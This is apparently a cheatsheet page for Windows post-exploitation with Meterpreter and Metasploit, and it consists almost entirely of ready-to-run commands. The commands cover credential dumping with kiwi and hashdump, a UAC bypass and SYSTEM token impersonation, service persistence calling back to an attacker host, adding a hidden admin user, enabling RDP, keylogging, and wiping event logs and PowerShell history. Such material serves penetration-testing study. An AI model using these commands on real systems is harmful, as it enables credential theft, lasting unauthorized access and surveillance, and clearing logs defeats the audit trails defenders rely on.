Command Palette

Search for a command to run...

Cheatsheets
PreviousNext

Windows Post-Exploitation

System Enumeration

CommandDescription
sysinfoOS, hostname, architecture (Meterpreter).
getuidCurrent user (Meterpreter).
getpidCurrent process ID.
psList running processes.
migrate <PID>Migrate to another process for stability.
ipconfigNetwork configuration.
arpARP table - discover local network hosts.

From Shell (cmd/PowerShell)

CommandDescription
whoamiCurrent user.
whoami /privCurrent user privileges.
whoami /groupsCurrent user group memberships.
systeminfoOS version, patches, network config, domain.
net userList local users.
net user <username>Details for a specific user.
net localgroupList all local groups.
net localgroup administratorsMembers of the Administrators group.
ipconfig /allFull network config including DNS.
arp -aARP table.
netstat -anoActive connections with PIDs.
tasklistRunning processes.
sc queryList all services.
wmic os get Caption,Version,BuildNumberOS version details.

Credential Dumping

# Meterpreter - Kiwi extension
load kiwi
creds_all           # All credentials at once
lsa_dump_sam        # Local account NTLM hashes
lsa_dump_secrets    # LSA secrets (DefaultPassword, service accounts)
# MSF post module
use post/windows/gather/hashdump
set SESSION <id>
run
# Search for passwords in config files
use post/windows/gather/credentials/credential_collector
set SESSION <id>
run
# Search unattend.xml and sysprep files from shell
dir /s /b C:\*unattend*.xml 2>nul
dir /s /b C:\*sysprep*.xml 2>nul
dir /s /b C:\*password*.txt 2>nul

Privilege Escalation

getsystem

meterpreter > getsystem
# Tries: named pipe impersonation, token duplication, etc.

UAC Bypass

use exploit/windows/local/bypassuac_injection
set SESSION <id>
set TARGET Windows\ x64
run

Token Impersonation

meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
meterpreter > rev2self       # Revert to original token

Persistence

Service-based Persistence

use exploit/windows/local/persistence_service
set SESSION <id>
set LHOST <kali_IP>
set LPORT <port>
run
# Save the RC cleanup file path shown in output

Enable RDP for Persistent Access

# From Meterpreter shell
run post/windows/manage/enable_rdp
# or manually:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow

Add a Local Admin User

net user hacker Password123! /add
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add

Keylogging

meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Clearing Tracks

# Clear Windows Event Logs (Meterpreter)
clearev
 
# From cmd
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
 
# Clear PowerShell history
del %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Post-Exploitation MSF Modules

ModuleDescription
post/windows/gather/enum_logged_on_usersList logged-on users.
post/windows/gather/enum_sharesEnumerate network shares.
post/windows/gather/enum_applicationsInstalled applications.
post/windows/gather/credentials/credential_collectorHarvest stored credentials.
post/multi/recon/local_exploit_suggesterSuggest local privilege escalation exploits.
post/windows/manage/enable_rdpEnable RDP.
post/windows/manage/persistenceRegistry-based persistence.